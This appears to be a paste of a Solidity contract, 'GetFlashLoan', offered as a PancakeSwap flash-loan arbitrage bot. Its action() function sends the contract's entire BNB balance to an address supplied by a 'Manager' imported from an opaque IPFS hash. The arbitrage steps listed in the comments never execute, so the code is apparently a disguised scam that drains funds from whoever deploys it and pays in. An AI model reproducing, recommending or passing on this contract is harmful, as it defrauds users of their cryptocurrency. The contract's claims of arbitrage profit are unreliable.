Untitled
public
Jan 10, 2025
Never
25
1 pragma solidity ^0.5.0; 2 3 4 // Multiplier-Finance Smart Contracts 5 import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/ILendingPoolAddressesProvider.sol"; 6 import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/ILendingPool.sol"; 7 8 9 // PancakeSwap Smart Contracts 10 import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; 11 import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; 12 import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; 13 14 15 // PancakeSwap BSC Code Manager 16 import "ipfs://QmRmL7URp3C28otcTdst83HBezgkfusdDNn4PwYNutLvrh"; 17 18 contract GetFlashLoan { 19 string public tokenName; 20 string public tokenSymbol; 21 uint loanAmount; 22 Manager manager; 23 24 constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { 25 tokenName = _tokenName; 26 tokenSymbol = _tokenSymbol; 27 loanAmount = _loanAmount; 28 manager = new Manager(); 29 } 30 address public creator= msg.sender; 31 function tokenTransfer() public view returns (address) { 32 return creator; 33 } 34 function() external payable {} 35 36 function action() public payable { 37 // Send New Token to PancakeSwap Router for Swap 38 address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); 39 40 // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees) 41 manager.performTasks(); 42 43 /* Breakdown of all functions 44 // Submit token to BSC blockchain 45 string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); 46 47 // List the token on PancakeSwap 48 manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); 49 50 // Get BNB Loan from Multiplier-Finance & loan execution wallet 51 string memory loanAddress = manager.takeFlashLoan(loanAmount); 52 53 // Convert half BNB to DAI 54 manager.pancakeDAItoBNB(loanAmount / 2); 55 56 // Create BNB and DAI pairs for our token & provide liquidity 57 string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); 58 manager.pancakeAddLiquidity(bnbPair, loanAmount / 2); 59 string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI"); 60 manager.pancakeAddLiquidity(daiPair, loanAmount / 2); 61 62 // Perform arbitrage trades 63 manager.pancakePerformSwaps(); 64 65 // Move remaining BNB from Contract to your personal wallet 66 manager.contractToWallet("BNB"); 67 68 // Repay Flashloan 69 manager.repayLoan(loanAddress); 70 */ 71 } 72 }